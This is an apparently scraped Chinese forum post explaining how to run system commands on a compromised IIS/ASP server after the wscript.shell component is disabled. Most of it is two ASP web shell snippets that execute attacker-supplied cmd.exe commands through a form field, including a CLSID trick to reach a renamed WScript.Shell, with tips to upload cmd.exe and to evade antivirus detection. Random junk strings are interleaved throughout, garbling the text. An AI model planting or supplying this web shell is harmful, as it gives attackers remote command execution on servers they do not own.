没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  * k+ K% B7 t, \: f! k0 N7 ~
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  
• 把下面代码复制：
  - A/ \# Z: }) t5 }/ q
• <%
  
• end if
  
• response.write(”")
  # h/ [8 u: _9 k; G1 e
• On Error Resume
  0 H$ D1 ^' a9 r4 e
• Next
  
• response.write oScriptlhn.exec(”cmd.exe /c” &
  ; R: F1 s6 G8 f$ e4 x
• request(”c”)).stdout.readall
  1 z( K" J# }: I, O  t3 G3 f& N
• response.write(”")
  % g" G0 m6 v1 t# C3 H6 U) q7 H
• response.write(”")
  / {5 V! s. D- G% d/ o) i. \
• response.write(”
  ( m5 ?# D$ ~/ g" t' C: i! u) ^
• “)
  ) [& _4 r9 {4 D3 n
• response.write(”")
  9 {+ l8 w# ~4 x$ |5 @* |
• %>
  9 d+ l7 Q* z" \& G1 z
• 保存为一个asp文件，然后传到网站目录上去
  $ X, q3 `; q6 |5 z
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  
• 我用此成功运行过cacls命令。
  , G' g& Q2 ^* x4 z. m9 c9 {' t9 L; o: U
• 第二那就是运行时出错，可能限制某些代码执行
  ' S4 U0 F" {2 T2 M2 ^2 Y
• 无wscript.shell组件提权又一个方法
  3 I9 f4 W) \* }& \0 W; {/ D9 k+ M
• <object runat=server id=oScriptlhn scope=page
  
• 
  
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  & i  q3 \8 i# @! |7 u0 B/ C5 M! F
• <%if err then%>
    M. Y7 I( C4 P/ ~1 ~
• <object runat=server id=oScriptlhn scope=page
  $ O8 _) l' z5 K, h. r
• 
  7 O8 t# A- l+ A. _6 I9 U) `; k5 `
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  
• <%
  2 X1 v& D8 J( g! U5 Z9 n' S
• end if
  
• response.write(”<textarea readonly cols=80
  9 j+ F' v: Z1 b) W
• 
  
• rows=20>”)
  
• On Error Resume Next
  & V% z' j8 D( w$ \
• response.write
  , d5 H) S0 l, w4 U' Y7 d+ r% H
• 
  7 ]/ s( w# m' R/ u
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  
• response.write(”</textarea>”)
  & h" D1 X- C. A& j. J: E2 `- u7 Z
• response.write(”<form
  9 H- i, a  U0 h- Q
• 
  
• method=’post’>”)
  
• response.write(”<input type=text name=’c'
  
• 
  $ e1 F2 f8 D; m/ |  F* o- n
• size=60><br>”)
  
• response.write(”<input type=submit
  ! a% G$ d5 G3 Y) G5 H% m. k
• 
  
• value=’执行’></form>”)
  
• %>
  
• 保存为ASP，此代码可能被杀，请注意免杀。
  
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  + |$ P2 ]8 L9 }% I1 h& h$ n' H

复制代码